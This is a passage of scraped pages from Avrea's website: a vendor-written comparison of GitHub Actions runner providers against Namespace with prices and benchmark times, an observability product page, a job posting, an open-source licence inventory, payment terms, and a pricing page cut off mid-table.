Apple M5 Max machines. Namespace’s generally available ARM runners use AmpereOne and cost the same as its x86 runners; its Linux runners on Apple silicon are in early access on the Team plan and above. WarpBuild also sells Apple silicon ARM runners, from 6 vCPU at $0.08 a minute, and the other ARM runners here use server processors such as Graviton4 and Ampere Altra. The build results below show what that difference does to job time, and a job that finishes sooner bills fewer minutes. Rates exclude storage, add-ons and enterprise terms. Each provider converts included usage into runner minutes at its own ratio. Avrea’s monthly credit is equivalent to 3,000 minutes on 2-vCPU Linux x86 runners and is shared with other metered usage, including persistent disks and static IPs. Avrea and Depot meter jobs by the second; GitHub rounds each job up to a whole minute. Standard GitHub-hosted runners are free in public repositories. On macOS, Namespace starts at $0.04 a minute for 4 vCPU within a plan, the lowest entry price here. Avrea’s smallest runner has 8 vCPU and 24 GB on Apple M5 Max for $0.08 a minute; Blacksmith (M4) and WarpBuild (M4 Pro or M5 Pro) charge the same for 6 vCPU, and Depot for 8 vCPU. GitHub’s standard macOS runner is $0.062. Ubicloud and RunsOn have no macOS runners. Sources: [Namespace pricing](https://namespace.so/pricing), [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing) and [runner specifications](https://docs.blacksmith.sh/blacksmith-runners/overview), [Depot pricing](https://depot.dev/pricing) and [runner types](https://depot.dev/docs/github-actions/runner-types), [WarpBuild pricing](https://www.warpbuild.com/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing), [RunsOn pricing](https://runs-on.com/pricing/), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). ## Build and cache results at 4 vCPU RunsOn, a runner vendor that also appears in the table, runs a public benchmark that builds the same projects on every provider’s runners, with its [workflows and method](https://runs-on.com/benchmarks/methodology/) published. The 4 November 2026 run built two projects from a cold start on 4-vCPU, 16-GB runners: the Rust project spotify-player, with its tests and clippy, and PostHog’s production Docker image. The table shows median build times from five runs, and the median time to restore a 4 GB file through `actions/cache` in the 5 November cache test. Depot is not in the benchmark. *Namespace alternatives: build and cache results at 4 vCPU* | 4-vCPU runner | Rust, x86 | Rust, ARM | Docker, x86 | Docker, ARM | Cache, x86 | | --- | --- | --- | --- | --- | --- | | Namespace | 91 s | 340 s | 280 s | 800 s | 18 s | | Avrea | 86 s | 77 s | 292 s | 286 s | 11 s | | Blacksmith | 100 s | 243 s | 301 s | 626 s | 12 s | | WarpBuild | 129 s | 181 s | 447 s | 602 s | 24 s | | RunsOn | 99 s | 106 s | 403 s | 384 s | 7 s | | GitHub-hosted | 213 s | 190 s | 773 s | 599 s | 44 s | | Ubicloud | 139 s | 341 s | 637 s | 821 s | 70 s | On x86 the two were close: Avrea built the Rust project 5 seconds sooner, and Namespace built the Docker image 12 seconds sooner, the fastest of any runner here. On ARM the gap is wide. Avrea built the Rust project 4.4 times faster than Namespace’s AmpereOne runner and the Docker image 2.8 times faster. Namespace’s Apple silicon Linux runner, in early access, built the two projects in 81 and 309 seconds, against Avrea’s 77 and 286. These builds start without a warm cache, so they measure the machine and its network rather than cache reuse. Namespace’s and WarpBuild’s cache times use GitHub’s cache service, because their own caches need a different action. RunsOn’s row is its fastest EC2 instance with an EBS or local NVMe disk in each test, and Ubicloud’s is its standard runner. Where a run failed, the median covers the successful runs. *Data: RunsOn, [benchmarks](https://runs-on.com/benchmarks/) and [cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/), CC BY 4.0. We selected the 4-vCPU rows.* ## The alternatives ### Avrea We build Avrea. It runs GitHub Actions jobs on dedicated machines: Linux x86, Linux ARM and macOS on Apple M5 Max, and Windows Server 2025. It built the x86 Rust project 5 seconds sooner than Namespace, had the fastest ARM builds in the benchmark, and has no monthly plan fee. Supported `actions/cache` calls go to Avrea’s cache without workflow changes, with 25 GB per repository shared across Actions, LFS, build and package caches. Integrations for Turborepo, Gradle, Bazel, Nx, Go and sccache let a cache hit skip compilation or tests, and persistent disks keep Docker builder state between jobs for $0.50 per provisioned GB a month. Each job has searchable logs, CPU and memory metrics and SSH, and workflow analytics track failure and flake rates. Avrea AI, in beta, proposes a fix for a failing job and runs your tests on it before opening a pull request. For teams that use Namespace’s devboxes, Avrea Sandboxes are development environments for engineers and agents on the same infrastructure as the runners, and they can reuse a repository’s CI caches. Avrea is ISO 27001:2022 certified and SOC 2 Type II attested. [Read the full Avrea and Namespace comparison](https://avrea.com/avrea-vs-namespace). ### Blacksmith Blacksmith runs managed runners with no plan fee and 3,000 free minutes a month, at $0.004 a minute for 2-vCPU x86 and $0.0025 for 2-vCPU ARM. Its Actions cache needs no workflow changes and includes 25 GB per repository at no extra charge. Docker builds run on the runner, with layers kept on a sticky disk through Blacksmith’s own setup and build actions. macOS runs on M4 from 6 vCPU, and jobs run in four regions across the US and Europe. [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith). ### Depot Depot pairs its runners with remote Docker builders. `depot build` and `depot/build-push-action` send the build to a remote 16-CPU BuildKit machine with a persistent layer cache, billed at $0.04 a minute after the plan’s 500 or 5,000 included minutes. Its runners charge the same rate for x86 (AMD EPYC) and ARM (Graviton4) and come with a $20 single-user or $200 unlimited-user plan. Depot Cache also serves Bazel, Gradle, Turborepo, Nx and sccache. [Avrea vs Depot](https://avrea.com/avrea-vs-depot). ### WarpBuild WarpBuild sells runners and remote Docker builders as separate products. Its builders start at 16 vCPU for $0.06 a minute, and it can deploy runners into your own AWS, GCP or Azure account for $0.002 a minute plus the cloud bill. Hosted runners cost $0.004 a minute for 2-vCPU x86, Linux ARM runs on server processors or Apple silicon, and macOS on M4 Pro or M5 Pro. To use WarpBuild’s own cache on hosted runners, you replace `actions/cache` with `WarpBuilds/cache`; storage and operations are billed separately. [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild). ### Ubicloud Ubicloud’s managed runners are part of an open-source cloud platform and have the lowest hosted rate here, $0.00125 a minute for a standard 2-vCPU runner on x86 or ARM. Premium x86 runners cost $0.002, and new accounts get them by default. The transparent cache works without workflow changes and includes 30 GB per repository. Jobs run in European data centres by default, and there are no macOS or Windows runners. [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud). ### RunsOn RunsOn starts a fresh EC2 instance in your own AWS account for each job, from one CloudFormation stack. You pay AWS for the instances and a small control plane, and RunsOn a flat licence from €300 a year for under 50,000 jobs a month; it is free for non-profit, open-source and personal non-commercial projects. RunsOn’s own calculator puts a 4-vCPU spot instance at $0.0014 a minute in us-east-1, before the licence and control plane. Linux and Windows run on x86, ARM and GPU instances, and macOS jobs stay on GitHub’s runners. You manage the AWS account and its capacity. ### GitHub-hosted runners Staying on GitHub keeps CI with one vendor and one bill. Standard 2-core Linux runners are free in public repositories and $0.006 a minute in private ones. Larger runners need a Team or Enterprise Cloud plan, are billed in public repositories too, and cost $0.012 a minute for 4-core x86 and $0.008 for 4-core ARM. Each plan includes $12 to $300 of usage a month. [Avrea vs GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners). ### Self-hosted runners with Actions Runner Controller Actions Runner Controller runs GitHub’s self-hosted runner on your own Kubernetes cluster. GitHub doesn’t charge for self-hosted runner minutes, so the cost is the cluster and the time it takes to run it: images, autoscaling, cache storage and security updates are yours. ## When staying on Namespace makes sense Namespace’s x86 runners were among the fastest in the benchmark, and one account covers runners, remote Docker builders, NVMe cache volumes and devboxes. Its macOS runners start at 4 vCPU for $0.04 a minute within a plan, the lowest macOS entry price here. If the Team plan’s included minutes cover most of your usage, the effective x86 rate matches the $0.004 others charge. Moving means replacing Namespace’s cache volume and remote builder steps with `actions/cache` and the standard Docker actions, and changing each job’s runner label. The first runs elsewhere start with a cold cache. ## Common questions ### Which is the fastest Namespace alternative? On ARM, Avrea: in RunsOn’s 4 November 2026 run it had the fastest ARM builds of both projects on 4-vCPU runners, ahead of Namespace’s AmpereOne and Apple silicon Linux runners. On x86 the two were close: Avrea built the Rust project 5 seconds sooner and Namespace the Docker image 12 seconds sooner. Depot is not in the benchmark. ### Is Avrea faster than Namespace? On ARM, yes: 4.4 times faster on the Rust build and 2.8 times faster on the Docker image against Namespace’s AmpereOne runner, and ahead of its Apple silicon Linux runner on both. On x86 the two are close: 86 seconds against Namespace’s 91 on the Rust build, and 292 against 280 on the Docker image. ### What is the cheapest alternative to Namespace? Per minute, Ubicloud’s standard runners: $0.00125 for 2 vCPU on x86 or ARM. With your own AWS account, RunsOn on spot instances can cost less, plus its annual licence. Avrea, Blacksmith and WarpBuild charge $0.004 for 2-vCPU x86 with no plan fee, the same rate Namespace charges within a paid plan. ### Which Namespace alternatives run in my own cloud account? RunsOn runs in your AWS account. WarpBuild deploys runners into AWS, GCP or Azure for $0.002 a minute plus your cloud bill. Depot offers deployment into your AWS account on its Business plan. Actions Runner Controller runs on any Kubernetes cluster you operate. Avrea, Blacksmith and Ubicloud are hosted services, as Namespace is; Avrea’s Enterprise plan adds an egress firewall and static IPs for teams that need network controls. ### Which alternatives have macOS runners? Avrea runs macOS 26 on Apple M5 Max at 8 and 16 vCPU. Blacksmith runs M4 at 6 vCPU, Depot runs macOS 26 on M4 at 8 vCPU, WarpBuild runs M4 Pro or M5 Pro at 6 and 12 vCPU, and GitHub has standard and larger macOS runners. Ubicloud and RunsOn don’t run macOS. ### How do I move a workflow off Namespace? Change the job’s `runs-on` label to the new provider’s, for example `avrea-ubuntu-latest` for Avrea’s 2-vCPU, 8-GB x86 runner. On Avrea, the console’s migration wizard converts a workflow and opens the pull request for you. Replace Namespace’s cache action with `actions/cache`, which Avrea serves from its own cache without further changes, and remote builder steps with the standard Docker actions. Expect the first runs to rebuild caches from scratch, and compare a cold run, a repeat of the same commit and a typical change before deciding. ## Related reading - [Avrea vs Namespace](https://avrea.com/avrea-vs-namespace): pricing, benchmarks, caching and environments for coding agents. - [GitHub Actions runner prices compared](https://avrea.com/github-actions-runner-pricing): every provider’s rates and the cost of one build. - [Fastest ARM runners for GitHub Actions](https://avrea.com/blog/fastest-arm-github-actions-runners): the ARM build results in detail. - [All runner comparisons](https://avrea.com/alternatives): the wider provider comparison. ## Try one job on Avrea Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/), then change one job’s runner label. Run the same commits on both providers and compare duration and cost, including a cold cache. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/observability # Full visibility into your CI Find bottlenecks, diagnose failures and improve CI performance with logs, resource metrics and live debugging in one place. Observability Find bottlenecks, diagnose failures and improve CI performance with logs, resource metrics and live debugging in one place. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) live · job-4471 $avr job ssh connected · build-and-test · step 6/9 $psql -c 'select count(*) from orders' the fixture never loaded $htop # live, inside the actual run ## Find out what went wrong Inspect logs and resource usage from failed jobs. Connect to a running job over SSH to investigate. ## Search, inspect, diagnose Logs, cache analytics, flaky tests and run history in one place. ### Log viewing and search View logs in real time as jobs run. Search across all jobs and repos at once. See when an error first appeared. **4**matches failed 14[WORKER 2026-03-26 10:08:58Z ERROR [TestRunner] Failed to connect to test database: ECONNREFUSED 15[WORKER 2026-03-26 10:08:58Z ERROR [TestRunner] Test suite failed: checkout.flow.spec, 3 failures 17[WORKER 2026-03-26 10:08:58Z ERROR [TestRunner] Failed assertion: expected 200 got 503 in auth.spec.ts:47 16[WORKER 2026-03-26 10:08:58Z INFO [TestRunner] Retrying failed suite (attempt 2/3) ### SSH into running jobs Investigate failures and test fixes inside the running job, from your browser or CLI. avrea-com/frontend › CI chore: upgrade dependencies main · Push · #500 att. 2 · a1b2c3d 2 jobs remaining Install & Audit 6m 0s · avrea-ubuntu-latest · run #99001 6m Logs Build & Test avrea-ubuntu-latest · run #99002 8m 12s … SSH Deploy Preview avrea-ubuntu-latest · run #99003 In queue ## CPU, memory, network per job Find CPU bottlenecks, slow downloads and memory spikes. Metrics are collected automatically for every run, with no agent to install. ### CPU bottlenecks Find the steps burning compute. ### Network slowdowns See what’s stalling downloads and cache restores. ### Memory spikes Catch OOM risks before jobs fail. ## Cost and build insights See which workflows take the most time, which runners are oversized and whether your caches are helping. Use the run history to track down changes in build time and cost. ### Flake detection Distinguish flaky tests from real failures. Track test success rates over time and find your most unreliable test suites. ### Workflow insights & run history Find your slowest workflows and busiest hours. Prioritize where to optimize. ### Cache analytics See what's cached, hit rates by type, quota usage, and manage entries per repo. ## The same view, whatever you run Inspect CI jobs and development environments in the Avrea console. ### On Runners Job logs, resource usage and workflow history for GitHub Actions jobs running on Avrea. ### On Avrea CI Step-level results, logs and resource usage. ### On Sandboxes Resource metrics and session history for development environments. ## See what’s slowing down your CI [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/open-positions/open-application # Open application We're always looking for great people. If you think you belong here, we want to hear from you. [Back to All](https://avrea.com/careers) We're always looking for great people. If you think you belong here, we want to hear from you. If you've done serious work in engineering, product, design, or go-to-market, and you care about the tools developers depend on every day, send us a note. **What we're always interested in** - Engineers who've worked on distributed systems, developer tooling, CI/CD infrastructure, observability, or caching - Product people who understand technical buyers and have shipped developer-facing products - Go-to-market people who can talk to engineers without making them cringe - Designers who care as much about the experience as the visual - Anyone who's built something hard, owned it end to end, and learned from what broke **What we look for in everyone** - Strong instincts and a track record of owning things, not just contributing to them - Comfortable working in a small team where decisions move fast - An opinion about what good looks like, and the patience to build toward it - Low ego, high standards **How to apply** - Email [careers@avrea.com](mailto:careers@avrea.com) with a short note about what you've worked on and what you'd want to work on next. No cover letter template required, just tell us something real. ## Join the Avrea team We're building for the next generation of software delivery. If you're excited about developer tools, high-performance infrastructure, and scaling companies globally, we'd love to hear from you. ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/open-source-components # Open Source Components The open-source components Avrea is built on. Names, licenses, and links to the upstream projects we depend on and contribute to. ### Open-Source Software Inventory Last updated: 2026-04-14 #### Contents 1. Bundled Upstream Projects 2. Container Base Images 3. Python Dependencies 4. Go Dependencies 5. JavaScript / TypeScript Dependencies 6. Dev / CI Tooling 7. GitHub Actions 8. License Summary 9. Copyleft Notices #### Bundled Upstream Projects (pkgs/) | Project | Language | License (SPDX) | Notes | | --- | --- | --- | --- | | cloud-hypervisor | Rust | Apache-2.0, BSD-3-Clause | VMM; CC-BY-4.0 for docs | | vector | Rust | MPL-2.0 | Observability data pipeline | | otelcol-contrib | Go | Apache-2.0 | OpenTelemetry Collector contrib | | bazel-remote | Go | Apache-2.0 | Remote build cache server | | turbo-cache-server | Rust/JS | MIT | Turborepo remote cache | | pybase64 | Python/C | BSD-2-Clause | Base64 encoding (RPM wrapper) | | turbopuffer-python | Python | MIT | Vector DB client (RPM wrapper) | | avrea-compliance | — | LicenseRef-Proprietary | Internal, not OSS | #### Container Base Images | Image | License (SPDX) | Used by | | --- | --- | --- | | golang:1.24-alpine | BSD-3-Clause | packages-cache, git-s3-proxy | | golang:1.26-alpine | BSD-3-Clause | build-cache-proxy, gha-cache-proxy | | alpine:3.21 | MIT | All Go services (runtime stage) | | quay.io/fedora/fedora:43 | MIT | control, gcs-proxy | #### Python Dependencies ### control (API / executor / billing) | Package | License (SPDX) | Purpose | | --- | --- | --- | | fastapi | MIT | Web framework | | uvicorn | BSD-3-Clause | ASGI server | | pydantic | MIT | Data validation | | pydantic-settings | MIT | Configuration | | httpx | BSD-3-Clause | Async HTTP client | | aiohttp | Apache-2.0, MIT | Async HTTP (MIT for vendored llhttp) | | psycopg | LGPL-3.0-only | PostgreSQL driver | | psycopg-pool | LGPL-3.0-only | Connection pooling | | sqlidecar | LicenseRef-Proprietary | SQL tooling (internal) | | jinja2 | BSD-3-Clause | Templating | | cryptography | Apache-2.0 OR BSD-3-Clause | Crypto primitives | | bcrypt | Apache-2.0 | Password hashing | | pyjwt | MIT | JWT tokens | | paramiko | LGPL-2.1 | SSH client | | websockets | BSD-3-Clause | WebSocket support | | google-auth | Apache-2.0 | GCP authentication | | google-auth-oauthlib | Apache-2.0 | GCP OAuth | | google-cloud-compute | Apache-2.0 | GCP Compute API | | google-cloud-secret-manager | Apache-2.0 | GCP Secrets | | google-cloud-storage | Apache-2.0 | GCP Storage | | boto3 | Apache-2.0 | AWS SDK | | valkey | MIT | Valkey/Redis client | | cachetools | MIT | In-memory caching | | aiocache | BSD-3-Clause | Async caching | | slowapi | MIT | Rate limiting | | sendgrid | MIT | Email | | twilio | MIT | SMS | | stripe | MIT | Payments | | turbopuffer | MIT | Vector DB | | sentry-sdk | MIT | Error tracking | | opentelemetry-api | Apache-2.0 | Observability | | opentelemetry-sdk | Apache-2.0 | Observability | | opentelemetry-exporter-otlp-proto-grpc | Apache-2.0 | OTel export | | opentelemetry-instrumentation-fastapi | Apache-2.0 | OTel instrumentation | | promql-parser | MIT | PromQL parsing | | weasyprint | BSD-3-Clause | PDF generation | | pyyaml | MIT | YAML parsing | | colorama | BSD-3-Clause | Terminal colors | | platformdirs | MIT | Platform directories | | asgi-correlation-id | MIT | Request correlation | | watchfiles | MIT | File watching | | aiofiles | Apache-2.0 | Async file I/O | ### gcs-proxy | Package | License (SPDX) | Purpose | | --- | --- | --- | | fastapi | MIT | Web framework | | uvicorn | BSD-3-Clause | ASGI server | | google-cloud-storage | Apache-2.0 | GCP Storage | | httpx | BSD-3-Clause | HTTP client | ### smithy (Fedora agent) | Package | License (SPDX) | Purpose | | --- | --- | --- | | aiohttp | Apache-2.0, MIT | Async HTTP | | paramiko | LGPL-2.1 | SSH | | pynacl | Apache-2.0 | Crypto | | psutil | BSD-3-Clause | System metrics | | pydantic | MIT | Validation | | pyyaml | MIT | YAML | | websockets | BSD-3-Clause | WebSocket | | fastapi | MIT | Web framework | | hypercorn | MIT | ASGI server | | turbopuffer | MIT | Vector DB | | sentry-sdk | MIT | Error tracking | | urllib3 | MIT | HTTP | ### smithy (macOS agent) Same as Fedora smithy, plus: | Package | License (SPDX) | Purpose | | --- | --- | --- | | pyinstaller | GPL-2.0-or-later WITH Bootloader-Exception | App bundling (build tool only) | ### create-installation-media | Package | License (SPDX) | Purpose | | --- | --- | --- | | asyncssh | EPL-2.0 | Async SSH | | click | BSD-3-Clause | CLI framework | | colorama | BSD-3-Clause | Terminal colors | ### avr-cli | Package | License (SPDX) | Purpose | | --- | --- | --- | | click | BSD-3-Clause | CLI framework | | httpx | BSD-3-Clause | HTTP client | | platformdirs | MIT | Platform dirs | | prettytable | BSD-3-Clause | Table formatting | | pydantic | MIT | Validation | | typing-extensions | PSF-2.0 | Type backports | ### cli (avr-admin) | Package | License (SPDX) | Purpose | | --- | --- | --- | | psycopg | LGPL-3.0-only | PostgreSQL | | bcrypt | Apache-2.0 | Hashing | | cryptography | Apache-2.0 OR BSD-3-Clause | Crypto | | google-cloud-run | Apache-2.0 | GCP Cloud Run | | google-cloud-storage | Apache-2.0 | GCP Storage | | pyjwt | MIT | JWT | | paramiko | LGPL-2.1 | SSH | #### Go Dependencies ### Direct dependencies (across all first-party services) | Package | License (SPDX) | Used by | | --- | --- | --- | | github.com/aws/aws-sdk-go-v2 | Apache-2.0 | build-cache-proxy, gha-cache-proxy, git-s3-proxy, packages-cache | | github.com/aws/smithy-go | Apache-2.0 | (transitive) | | github.com/google/uuid | BSD-3-Clause | build-cache-proxy, gha-cache-proxy, git-s3-proxy | | github.com/klauspost/compress | BSD-3-Clause | build-cache-proxy | | github.com/bradfitz/go-tool-cache | BSD-3-Clause | build-cache-proxy | | github.com/golang-jwt/jwt/v5 | MIT | shared, git-s3-proxy | | github.com/dgraph-io/ristretto/v2 | Apache-2.0 | packages-cache | | github.com/coder/websocket | ISC | gha-cache-proxy | | github.com/swaggo/swag | MIT | oci-proxy | | github.com/go-openapi/* | Apache-2.0 | oci-proxy (transitive) | | github.com/stretchr/testify | MIT | oci-proxy (transitive) | | google.golang.org/grpc | Apache-2.0 | build-cache-proxy | | google.golang.org/protobuf | BSD-3-Clause | build-cache-proxy | | go.opentelemetry.io/otel | Apache-2.0 | build-cache-proxy (transitive) | | gopkg.in/yaml.v3 | MIT, Apache-2.0 | build-cache-proxy, gha-cache-proxy, packages-cache, oci-proxy | ### Go standard extended (golang.org/x/*) | Package | License (SPDX) | | --- | --- | | golang.org/x/sync | BSD-3-Clause | | golang.org/x/net | BSD-3-Clause | | golang.org/x/time | BSD-3-Clause | | golang.org/x/mod | BSD-3-Clause | | golang.org/x/tools | BSD-3-Clause | | golang.org/x/sys | BSD-3-Clause | | golang.org/x/text | BSD-3-Clause | ### Other indirect Go dependencies | Package | License (SPDX) | | --- | --- | | github.com/cespare/xxhash/v2 | MIT | | github.com/dustin/go-humanize | MIT | | github.com/KyleBanks/depth | MIT | #### JavaScript / TypeScript Dependencies (console) ### Runtime | Package | License (SPDX) | Purpose | | --- | --- | --- | | react | MIT | UI framework | | react-dom | MIT | DOM rendering | | wouter | Unlicense | Routing | | tailwindcss | MIT | CSS framework | | @tailwindcss/vite | MIT | Vite integration | | tailwind-merge | MIT | Class merging | | @radix-ui/react-dialog | MIT | Dialog primitive | | @radix-ui/react-dropdown-menu | MIT | Dropdown primitive | | @radix-ui/react-slot | MIT | Slot primitive | | @radix-ui/react-tooltip | MIT | Tooltip primitive | | @base-ui/react | MIT | UI components | | radix-ui | MIT | UI components | | lucide-react | ISC | Icons | | @tanstack/react-table | MIT | Data tables | | react-hook-form | MIT | Forms | | zod | MIT | Schema validation | | nuqs | MIT | URL query state | | recharts | MIT | Charts | | d3 | ISC | Data visualization | | @types/d3 | MIT | D3 type definitions | | motion | MIT | Animation | | vaul | MIT | Drawer component | | react-day-picker | MIT | Date picker | | react-async-hook | MIT | Async hooks | | date-fns | MIT | Date utilities | | luxon | MIT | Date/time library | | lodash | MIT | Utility library | | clsx | MIT | Class concatenation | | class-variance-authority | Apache-2.0 | Class variants | | @sentry/react | MIT | Error tracking | | @stripe/react-stripe-js | MIT | Stripe React bindings | | @stripe/stripe-js | MIT | Stripe JS SDK | | @fontsource/sorts-mill-goudy | OFL-1.1 | Font | | free-email-domains-list | MIT | Email validation | ### Dev / Build | Package | License (SPDX) | Purpose | | --- | --- | --- | | vite | MIT | Build tool | | typescript | Apache-2.0 | Type checking | | @vitejs/plugin-react | MIT | React plugin | | babel-plugin-react-compiler | MIT | React compiler | | @biomejs/biome | MIT OR Apache-2.0 | Linter/formatter | | vitest | MIT | Test runner | | @testing-library/react | MIT | Test utilities | | storybook | MIT | Component dev | | @storybook/react-vite | MIT | Storybook Vite integration | | jsdom | MIT | DOM emulation | | knip | ISC | Dead code detection | | sharp | Apache-2.0 | Image processing | | blurhash | MIT | Image placeholders | | tw-animate-css | MIT | Animations | | vite-node | MIT | Vite scripting | | vite-plugin-checker | MIT | Build-time type checking | | @types/lodash | MIT | Lodash types | | @types/luxon | MIT | Luxon types | | @types/node | MIT | Node.js types | | @types/react | MIT | React types | | @types/react-dom | MIT | React DOM types | #### Dev / CI Tooling | Tool | License (SPDX) | Purpose | | --- | --- | --- | | uv | MIT OR Apache-2.0 | Python package manager | | ruff | MIT | Python linter/formatter | | ty | MIT | Python type checker | | pytest | MIT | Python test framework | | pytest-asyncio | Apache-2.0 | Async test support | | pytest-cov | MIT | Coverage plugin | | pytest-httpx | MIT | HTTPX test mocking | | pytest-xdist | MIT | Parallel test execution | | ipython | BSD-3-Clause | Interactive Python | | golangci-lint | GPL-3.0-only | Go linter | | bun | MIT | JS runtime/bundler | | OpenTofu | MPL-2.0 | Infrastructure as code | #### GitHub Actions | Action | License (SPDX) | | --- | --- | | actions/checkout | MIT | | actions/setup-python | MIT | | actions/setup-go | MIT | | actions/upload-artifact | MIT | | actions/download-artifact | MIT | | google-github-actions/auth | Apache-2.0 | | astral-sh/setup-uv | MIT | | oven-sh/setup-bun | MIT | | opentofu/setup-opentofu | Apache-2.0 | | golangci/golangci-lint-action | MIT | | anchore/sbom-action | Apache-2.0 | | anchore/scan-action | Apache-2.0 | #### License Summary | License | Count | | --- | --- | | MIT | ~75 | | Apache-2.0 | ~30 | | BSD-3-Clause | ~25 | | ISC | 4 | | LGPL-3.0-only | 2 (psycopg, psycopg-pool) | | LGPL-2.1 | 1 (paramiko) | | MPL-2.0 | 2 (vector, OpenTofu) | | GPL-2.0-or-later WITH Bootloader-Exception | 1 (pyinstaller, build tool only) | | GPL-3.0-only | 1 (golangci-lint, build tool only) | | EPL-2.0 | 1 (asyncssh) | | BSD-2-Clause | 1 (pybase64) | | OFL-1.1 | 1 (font) | | PSF-2.0 | 1 (typing-extensions) | | Unlicense | 1 (wouter) | | LicenseRef-Proprietary | 2 (sqlidecar, avrea-compliance) | #### Copyleft Notices The following dependencies use copyleft licenses and may carry distribution obligations: - **psycopg / psycopg-pool** LGPL-3.0-only — dynamically linked via Python import; LGPL allows use without source disclosure for the consuming application when dynamically linked. - **paramiko** LGPL-2.1 — same dynamic linking treatment as psycopg. - **vector** MPL-2.0 — file-level copyleft; modifications to MPL-licensed files must be shared, but proprietary code in separate files is permitted. - **OpenTofu** MPL-2.0 — IaC tool, not distributed with the application. - **golangci-lint** GPL-3.0-only — dev/CI tool only, not distributed. - **pyinstaller** GPL-2.0-or-later WITH Bootloader-Exception — build tool; bootloader exception permits distribution of bundled apps without GPL obligations on app code. - **asyncssh** EPL-2.0 — weak copyleft similar to LGPL; modifications to EPL-licensed code must be shared, but does not propagate to the consuming application. --- Source: https://avrea.com/payment-terms # Payment terms Payment terms for Avrea. Subscription fees, billing, price adjustments, and the financial terms governing the platform. These Payment Terms set out the terms and conditions governing the fees (the “Subscription Fees”) payable by Avrea’s customers (the “Customer”) in connection with the Service and the payment of such Subscription Fees. ### Subscription Fees [**Pay as you go**](https://avrea.com/pricing) Usage-based pricing. 3,000 free minutes each month. Then: **$0**/month + **$0.002** per min (starting). [**Enterprise**](https://avrea.com/pricing) Custom pricing. ### Payment Terms The Customer shall pay the Subscription Fees in accordance with the following payment terms. Avrea reserves the right to make provision of the Service subject to receipt of payment of the Subscription Fees. The Subscription Fees shall be paid to Avrea in the currency specified in the Subscription Fees above using the payment method specified in the Order Form. The Subscription Fees shall include all public charges determined by the authorities and effective on the Commencement Date, with the exception of value added tax. Unless specifically otherwise mentioned, value added tax shall not be included in the Subscription Fees and shall be added to the Subscription Fees in accordance with the then-current regulations. If the amount of public charges or their collection basis increases due to changes in regulations or taxation practice, the Subscription Fees shall be revised correspondingly. If the Customer is or may be required under any law or regulation to withhold or deduct any portion of any payment due to Avrea and Avrea is unable to reclaim or recover that deduction through the exercise of reasonable efforts, then the sum payable to Avrea shall be increased by the amount necessary to yield to Avrea the amount it would have received had no withholdings or deductions been made. If the Customer fails to make any payment in accordance with this Agreement, Avrea shall (without prejudice to its other rights and remedies) be entitled to: 1. charge interest on the overdue amount at the rate of interest applicable under Finnish law on late payments; and/or 2. suspend the Customer’s and the Customer Users’ access to and use of the Service until payment (including any accrued interest) is made in full. Any Subscription Fees paid in accordance with these Payment Terms shall be non-refundable in any circumstances, including upon early termination of this Agreement. The Customer shall provide accurate, current and complete billing information, including billing address, email address and phone number, and will promptly notify Avrea if this information changes. ### Price Adjustment Avrea reserves the right to adjust the Subscription Fees applicable under the Agreement at its sole discretion. Avrea may implement such price adjustments by providing the Customer with at least thirty (30) days’ prior written notice. Unless otherwise agreed in writing, the adjusted Subscription Fees shall take effect upon the expiry of the thirty (30) day notice period and shall thereafter apply to all Services provided after the effective date of the adjustment. Continued use of the Service after the effective date of an adjustment of the Subscription Fees shall constitute the Customer’s acceptance of the revised Subscription Fees. ‍ --- Source: https://avrea.com/pricing # Faster CI, lower costs Usage-based pricing for Avrea runners, Git Mirroring and Sandboxes. Pay as you go includes $12 in monthly credit, with no per-seat fees. Runners, CI, Git Mirroring and Sandboxes, with caching and observability included. Pay for usage, with no per-seat fees. ### Pay as you go $0 /month + usage Includes **$12 in monthly credit**. Usage billed at the rates below. [Start free](https://console.avrea.com/) - Runners for GitHub Actions - Linux, macOS and Windows - Git Mirroring - Sandboxes - Caching at every layer · 25 GB per repository included - Logs, metrics, test insights and right-sizing - SSH debugging - CLI and API access - SBOMs - Avrea CI · Beta - Avrea AI · Beta ### Enterprise Custom Pricing, capacity and support tailored to your organization. [Talk to us](https://avrea.com/contact) Everything in Pay as you go, plus: - Custom pricing and included usage - Higher concurrency and custom capacity - Priority support and a dedicated Slack channel - Custom SLAs - SAML SSO - Audit logging and export - Egress firewall and network controls - Custom integrations - Dedicated onboarding Compute, Git Mirroring storage and data transfer are billed at the listed rates. Beta access is available by request. ## Why Avrea costs less 67% lower compute cost than GitHub Actions at list prices, with 2x faster builds. ### Lower per-minute cost Pay less per minute than GitHub-hosted runners, before savings from faster builds and caching. ### Faster builds High-performance hardware shortens build and test times, reducing billed runtime. ### Less work repeated Reuse cached dependencies, build outputs and Docker layers across runs. ## Runner and sandbox pricing Prices per minute · runners billed by the second, sandboxes for reserved time ### Linux x86 Ubuntu 22.04 · 24.04 · 26.04 · x86-64 | vCPUs | Memory (GB) | Price/min | | --- | --- | --- | | 1 | 4 | $0.002 | | 2 | 8 | $0.004 | | 4 | 8 | $0.006 | | 4 | 16 | $0.008 | | 8 | 16 | $0.012 | | 8 | 32 | $0.016 | | 16 | 64 | $0.032 | | 32 | 128 | $0.064 | ### macOS macOS 26 · 27 · ARM64 · Apple M5 Max | vCPUs | Memory (GB) | Price/min | | --- | --- | --- | | 8 | 24 | $0.08 | | 16 | 48 | $0.16 | ### Linux ARM Ubuntu 24.04 · 26.04 · ARM64 · Apple M5 Max | vCPUs | Memory (GB) | Price/min | | --- | --- | --- | | 1 | 4 | $0.006 | | 2 | 8 | $0.012 | | 4 | 8 | $0.018 | | 4 | 16 | $0.024 | | 8 | 16 | $0.036 | | 8 